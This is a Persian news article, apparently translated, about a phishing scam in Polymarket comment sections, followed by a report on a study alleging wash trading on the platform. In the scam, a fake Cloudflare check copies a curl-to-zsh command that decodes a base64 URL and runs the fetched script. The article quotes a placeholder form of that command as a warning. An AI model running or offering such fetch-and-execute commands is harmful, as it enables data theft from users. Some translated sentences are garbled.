کاربران پلی مارکت زنگ خطر را در مورد لینک های فیشینگ در بازارهای خصوصی به صدا در می آورند

Polymarket دوباره در سرفصل اخبار قرار گرفت، این بار به این دلیل که یکی از معامله گران ارشد آن با نام مستعار “۲۵usdc” زنگ خطر را در مورد طرحی به صدا درآورد که از بخش نظرات این پلتفرم برای شکار کاربران بی خبر استفاده می کرد.

این در یک زمان حیاتی برای پلتفرم Polymarket رخ می دهد، زیرا این پلتفرم برای ورود مجدد به بازار ایالات متحده آماده می شود و در تلاش برای پیشی گرفتن از رقبایی مانند Kalshi است.

معامله گران پلی مارکت در حالت آماده باش هستند

به گزارش ۲۵usdcهکرها از بخش نظرات Polymarket برای کلاهبرداری استفاده کرده اند و تاکنون بیش از ۵۰۰۰۰۰ دلار ضرر کرده اند.

می گویند چرا در بازارهای خصوصی پلی مارکت معامله نمی کنید؟ در آنجا شانس همیشه خیلی بهتر است!» ۲۵usdc قبل از توضیح نحوه عملکرد کل کلاهبرداری نوشت.

به گفته وی، همه چیز از خرید سهام بله و خیر برای یک بازار از دو حساب جداگانه شروع می شود. به این ترتیب، نظرات آنها همچنان وجود دارد، حتی زمانی که فیلتر مالکان فعال است. سپس یک URL به سایت خود به شکل مبهم منتشر می کنند.

URL کاربر را به یک صفحه تمیز با آرم Polymarket می برد و از کاربران می خواهد که از طریق ایمیل وارد شوند. پس از تأیید ایمیل، پنجره جدیدی ظاهر می شود که از کاربر می خواهد فعالیت خود را با تقلید از CloudFlare تأیید کند.

با این حال، ۲۵usdc می‌گوید که وقتی روی «کپی» کلیک می‌کنید، در عوض دستوری شبیه به این «curl -kfsSL $(echo ‘ENCODED_STRING==’|base64 -d)|zsh» کپی می‌کند و اگر کاربر اشتباهی در قرار دادن آن در ترمینال خود مرتکب اشتباه شود، رمزگشایی URL مبتنی بر st64-servert است. بلافاصله آن را اجرا می کند.

اسکریپت مورد نظر می‌تواند حاوی هر چیزی باشد و طبق گزارش‌ها هیچ هشداری ظاهر نمی‌شود که در آن زمان آسیب وارد می‌شود و تنها راه‌حل طبق ۲۵usdc ممکن است خاموش کردن Wi-Fi باشد.

۲۵usdc نوشت: «در نهایت، آن‌ها داده‌ها را جمع‌آوری می‌کنند، همه چیز را در سیستم شما ثبت می‌کنند و آن را به سرور خود بازمی‌گردانند. آنها سپس از این داده ها برای ورود به حساب های شما و سرقت پول شما استفاده می کنند.”

چیزهای دیگری که او متوجه شد این بود که گروه با دقت کار می کرد. به عنوان مثال، آنها مسیرهای خود را با تغییر مکرر کیف پول ها، مبهم کردن هر مرحله از راه، و حتی خاموش کردن سروری که محموله ها را ارسال می کند و داده های ثبت شده را دریافت می کند، هنگامی که قربانی فعالی وجود ندارد، پوشش می دهند.

۲۵usdc با اشاره به این نکته پایان داد: “من فکر می کنم بهترین راه برای مقابله با این موضوع این است که به کاربران قابل اعتماد اجازه دهیم نظرات را مشاهده کنند یا یک سیستم رای منفی را پیاده سازی کنند که پست های دارای رای منفی شدید را پنهان می کند.” هشدار نمایشگرهای پلی مارکت در حال حاضر کافی نخواهند بود.

PSA: وب سایت “بازار خصوصی” Polymarket با “شانس بهتر” وجود ندارد

هرگز آدرس ایمیل Polymarket یا کد تایید ورود خود را در چیزی غیر از سایت رسمی ما وارد نکنید.

– معامله گران پلی مارکت (@PolymarketTrade) 9 نوامبر ۲۰۲۵

یک مطالعه جدید ادعا می کند که حجم پولی مارکت با تجارت شستشو تامین می شود

همانطور که توسط Cryptopolitan گزارش شده است، یک مطالعه اخیراً توسط محققان دانشگاه کلمبیا منتشر شده است که ادعا می کند که حجم فعالیت Polymarket به طور قابل توجهی با معاملات شستشو افزایش یافته است.

«تجارت مصنوعی»، همانطور که نویسندگان آن را نامیدند، در طول زمان متفاوت بود، اما آنها گفتند که به طور متوسط ​​۲۵ درصد از کل خرید و فروش های پلی مارکت در سه سال گذشته را به خود اختصاص داده است.

این مقاله مورد بررسی همتایان قرار نگرفته است، اما اکنون در پلتفرم تحقیقاتی دسترسی آزاد SSRN قرار دارد و توسط Polymarket در حال بررسی است.

برای روشن بودن، نویسندگان به طور مستقیم Polymarket را برای تجارت شستشو مقصر نمی دانند. با این حال، آنها عناصری از ساختار مبتنی بر رمزنگاری صرافی را برجسته کردند که این ادعا را قابل قبول است.

آنها همچنین پیشنهاد می کنند که مشتریان شرکت ممکن است به طور مستقل در تجارت شستشوی مذکور شرکت کرده باشند تا شانس خود را برای دستیابی به یک توکن دیجیتال اختصاصی افزایش دهند که بنیانگذار شرکت، شین کوپلان، به احتمال راه اندازی آن در ۸ اکتبر اشاره کرد.

یاش کانوریا، استاد دانشکده بازرگانی دانشگاه کلمبیا و یکی از چهار نویسنده مقاله، در ایمیلی گفت: “امیدوارم پلی مارکت از تحلیل مقاله ما استقبال کند.” “معاملات شستشو نقدینگی یا اطلاعاتی را به بازار اضافه نمی کند، بنابراین تشخیص حجم معتبر از غیر معتبر ارزشمند به نظر می رسد.”

اگر برخی از حجم پولی مارکت واقعا “ساختگی” باشد، این مطالعه ادعا می کند که می تواند درک قدرت نسبی پلی مارکت در صنعت را تغییر دهد و همچنین این تصور فعلی را که بازارهای پیش بینی شده منعکس کننده “عقل جمعیت بزرگتر” هستند، تضعیف کند.

نویسندگان نتیجه می‌گیرند: «پتانسیل تجارت شستشو در مقیاس بزرگ به این معنی است که حجم ممکن است به عنوان شاخصی از فعالیت پلتفرم معتبر غیرقابل اعتماد باشد، به‌ویژه در صرافی‌های مبتنی بر ارز دیجیتال که ممکن است فاقد محافظ‌های کافی باشند».

باهوش ترین ذهن های رمزنگاری در حال خواندن خبرنامه ما هستند. میخوای بیای داخل؟ به آنها بپیوندید.

منبع: https://www.cryptopolitan.com/phishing-links-in-polymarket-private-markets/